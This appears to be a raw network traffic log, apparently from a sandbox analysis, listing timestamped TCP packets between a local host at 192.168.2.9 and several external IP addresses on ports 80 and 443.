Nov 18, 2024 15:17:12.009968042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:12.014477968 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.019762993 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.019861937 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.020209074 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.025118113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.821440935 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:12.821501017 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:12.821583033 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:12.821954012 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:12.821966887 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:12.915633917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915658951 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915671110 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915682077 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915693045 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915704012 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915707111 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.915715933 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915731907 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915738106 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.915779114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915781021 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.915807962 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.915832043 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.915855885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:12.920831919 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.920844078 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:12.920897961 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.071013927 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071038961 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071049929 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071082115 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.071114063 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.071285963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071297884 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071410894 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.071630955 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071686029 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.071787119 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071799994 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071839094 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.071918964 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071932077 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071945906 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.071985960 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.072005987 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.073754072 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.073811054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.073853970 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.073896885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.186429977 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186454058 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186466932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186479092 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186495066 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186511993 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.186566114 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.186769962 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186783075 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186795950 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.186832905 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.186850071 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.187155008 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.187167883 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.187181950 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.187191963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.187220097 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.187243938 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.230792046 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.230806112 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.230818033 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.230864048 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.230911016 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.301871061 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.301898003 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.301913023 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.301935911 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.301958084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.301964998 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.301965952 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.301999092 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.302031040 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.302293062 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.302314043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.302325964 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.302337885 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.302345991 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.302377939 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.302395105 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.302402973 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.302447081 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.341665030 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.341681957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.341694117 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.341788054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.341788054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.341860056 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.341981888 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.342025042 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.417682886 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.417747974 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.417783976 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.417812109 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.417812109 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.417819977 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.417855978 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.417903900 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.417903900 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.418015957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.418088913 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.418123960 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.418160915 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.418181896 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.418196917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.418243885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.418339968 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.425542116 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.425831079 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.425849915 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.426911116 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.426980972 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.427350998 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.427416086 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.427615881 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.427624941 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.429438114 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.429516077 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.429682970 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:13.432184935 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.432261944 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.432602882 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:13.457892895 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.458007097 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.458019972 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.458031893 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.458034992 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.458075047 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.458086967 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.458089113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.458087921 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.458137035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.473593950 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.532622099 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.532655954 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.532672882 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.532697916 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.532715082 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.532807112 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.532839060 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.533060074 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.533077955 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.533094883 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.533168077 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.533431053 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.533462048 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.533479929 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.533507109 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.533591032 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.555735111 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.555761099 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.555844069 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.555861950 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.555927992 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.556195974 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.556262970 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.556344986 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.558312893 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.558331966 CET	443	49830	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.558341026 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.558398962 CET	49830	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.565073013 CET	49777	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:13.565112114 CET	443	49777	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.565254927 CET	49776	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:13.565280914 CET	443	49776	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.565767050 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.565781116 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.565881014 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.566196918 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:13.566215038 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:13.573402882 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.573432922 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.573448896 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.573473930 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.573539972 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.573858023 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.573873997 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.573889017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.573935032 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.573975086 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.648000956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648017883 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648030043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648042917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648077965 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.648119926 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.648205996 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648287058 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.648463011 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648474932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648494005 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648508072 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648511887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.648520947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648534060 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.648572922 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.648586035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.688797951 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.688878059 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.688879967 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.688889027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.688920975 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.688941956 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.688993931 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.689541101 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.689593077 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.689604998 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.689615011 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.689642906 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.689692974 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.689692974 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.763551950 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.763643980 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.763672113 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.763695955 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.763698101 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.763735056 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.763752937 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.763772011 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.763820887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.763820887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.763999939 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.764066935 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.764076948 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.764175892 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.764285088 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.764339924 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.764405966 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.764451027 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.804183960 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804198027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804336071 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.804347992 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804368019 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804416895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.804519892 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804533958 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804547071 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.804555893 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.804569960 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.804672956 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.804941893 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.805113077 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.805114985 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.805124998 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.805176973 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.805176973 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.805227995 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.805241108 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.805282116 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.826442003 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.826513052 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.826576948 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:13.826816082 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.826911926 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:17:13.826971054 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:17:13.894586086 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.894603968 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.894617081 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.894726038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.894726038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.894845963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.894859076 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.894912958 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.894912958 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.895020008 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.895032883 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.895045042 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.895086050 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.895180941 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.895737886 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.895858049 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.919589996 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.919709921 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.919776917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.919787884 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.919832945 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.919845104 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.919856071 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.919862986 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.919907093 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.919925928 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.920320034 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.920331955 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.920345068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.920356989 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:13.920427084 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:13.920427084 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.009953022 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.009968042 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.009974957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010013103 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010024071 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010121107 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.010121107 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.010754108 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010767937 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010780096 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010793924 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010806084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.010826111 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.010940075 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.035231113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035255909 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035268068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035310030 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.035334110 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035336018 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.035346985 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035360098 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035377026 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.035397053 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035410881 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.035448074 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.035449028 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.035463095 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.036216974 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.036228895 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.036297083 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125276089 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.125334024 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.125386000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125386000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125411034 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.125432014 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.125444889 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.125457048 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.125467062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125467062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125474930 CET	80	49829	185.215.113.16	192.168.2.9
